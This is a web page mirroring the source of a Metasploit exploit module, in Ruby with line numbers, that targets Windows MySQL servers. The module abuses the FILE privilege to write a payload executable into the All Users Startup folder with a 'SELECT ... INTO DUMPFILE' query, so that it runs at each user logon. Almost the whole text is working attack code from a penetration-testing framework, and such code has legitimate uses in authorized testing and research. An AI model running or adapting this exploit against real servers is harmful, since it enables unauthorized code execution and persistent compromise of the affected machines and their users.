Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/mysql/mysql_start_up.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::MYSQL
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
include Msf::OptionalSession::MySQL
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',
19
'Description' => %q{
20
This module takes advantage of a file privilege misconfiguration problem
21
specifically against Windows MySQL servers. This module abuses the FILE
22
privilege to write a payload to Microsoft's All Users Start Up directory
23
which will execute every time a user logs in. The default All Users Start
24
Up directory used by the module is present on Windows 7.
25
},
26
'Author' => [
27
'sinn3r',
28
'Sean Verity <veritysr1980[at]gmail.com>'
29
],
30
'DefaultOptions' => {
31
'DisablePayloadHandler' => true
32
},
33
'License' => MSF_LICENSE,
34
'References' => [
35
['CVE', '2012-5613'], # DISPUTED
36
['OSVDB', '88118'],
37
['EDB', '23083'],
38
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']
39
],
40
'Platform' => 'win',
41
'Targets' => [
42
[ 'MySQL on Windows', {} ]
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2012-12-01',
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
57
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
58
OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
59
]
60
)
61
end
62
63
def check
64
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
65
return Exploit::CheckCode::Safe unless m
66
67
return Exploit::CheckCode::Appears if is_windows?
68
69
Exploit::CheckCode::Safe
70
end
71
72
def query(q)
73
rows = []
74
75
begin
76
res = mysql_query(q)
77
return rows unless res
78
79
res.each_hash do |row|
80
rows << row
81
end
82
rescue ::Rex::Proto::MySQL::Client::ParseError
83
return rows
84
end
85
86
rows
87
end
88
89
def is_windows?
90
r = query("SELECT @@version_compile_os;")
91
r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
92
end
93
94
def get_drive_letter
95
r = query("SELECT @@tmpdir;")
96
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
97
98
drive
99
end
100
101
def upload_file(bin, dest)
102
p = bin.unpack("H*")[0]
103
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
104
end
105
106
def exploit
107
unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')
108
fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")
109
end
110
111
print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") unless session
112
begin
113
# If we have a session make use of it
114
if session
115
print_status("Using existing session #{session.sid}")
116
self.mysql_conn = session.client
117
else
118
# otherwise fallback to attempting to login
119
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
120
return unless m
121
end
122
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
123
fail_with(Failure::NoAccess, "#{peer} - Access denied")
124
end
125
126
fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m || session
127
128
unless is_windows?
129
fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
130
end
131
132
begin
133
drive = get_drive_letter
134
rescue ::Rex::Proto::MySQL::Client::ParseError
135
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
136
end
137
138
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
139
140
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
141
dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
142
exe = generate_payload_exe
143
144
print_status("Uploading to '#{dest}'")
145
begin
146
upload_file(exe, dest)
147
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
148
fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
149
end
150
register_file_for_cleanup("#{dest}")
151
end
152
end
153
154